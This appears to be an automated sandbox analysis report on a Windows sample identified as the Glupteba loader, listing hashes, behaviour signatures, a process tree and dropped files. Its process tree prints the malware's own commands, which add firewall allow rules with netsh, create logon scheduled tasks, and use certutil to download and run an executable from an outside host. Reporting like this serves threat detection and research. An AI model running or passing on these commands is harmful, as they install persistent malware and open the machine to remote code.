Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 05:25

General

  • Target

    a824ac35f932f81fef2d1992ef8411be_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    a824ac35f932f81fef2d1992ef8411be

  • SHA1

    5243787065b4fcbd4d9b0b9167de51392dc4159b

  • SHA256

    9f881eed44fa7ab4684d3d3f0e772226df5b1cdd2306435ed63a68253ee552c4

  • SHA512

    d0ea8a820abdf0b7b0436d497dc5900fd3328cff5cbd86745f5e367aa345ad03143b59b5de40cdc9b4cc9caef8798451d66a4f1ffa7029057d9c95b688092926

  • SSDEEP

    98304:vm6HY+ghAnZyHGpBpK5frIWFPIHqdWXUmsDE3OWbbENln9OQNQa:vm64BCngOK1rIWpdal+KbENOQN5

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a824ac35f932f81fef2d1992ef8411be_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a824ac35f932f81fef2d1992ef8411be_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2620
    • C:\Users\Admin\AppData\Local\Temp\a824ac35f932f81fef2d1992ef8411be_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a824ac35f932f81fef2d1992ef8411be_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5604
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:5364
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5368
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4408
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:644
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1800
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1380
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:5800
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:5820
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1328 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4008

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      Filesize

      3.7MB

      MD5

      a824ac35f932f81fef2d1992ef8411be

      SHA1

      5243787065b4fcbd4d9b0b9167de51392dc4159b

      SHA256

      9f881eed44fa7ab4684d3d3f0e772226df5b1cdd2306435ed63a68253ee552c4

      SHA512

      d0ea8a820abdf0b7b0436d497dc5900fd3328cff5cbd86745f5e367aa345ad03143b59b5de40cdc9b4cc9caef8798451d66a4f1ffa7029057d9c95b688092926

    • memory/644-27-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-24-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-21-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-22-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-32-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-31-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-30-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-29-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-28-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-23-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-26-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-33-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/644-25-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2620-1-0x0000000001710000-0x0000000001ABD000-memory.dmp

      Filesize

      3.7MB

    • memory/2620-2-0x0000000001AC0000-0x00000000021BC000-memory.dmp

      Filesize

      7.0MB

    • memory/2620-5-0x0000000001AC0000-0x00000000021BC000-memory.dmp

      Filesize

      7.0MB

    • memory/2620-4-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/2620-3-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/2620-6-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/5604-16-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/5604-10-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/5604-9-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/5604-8-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB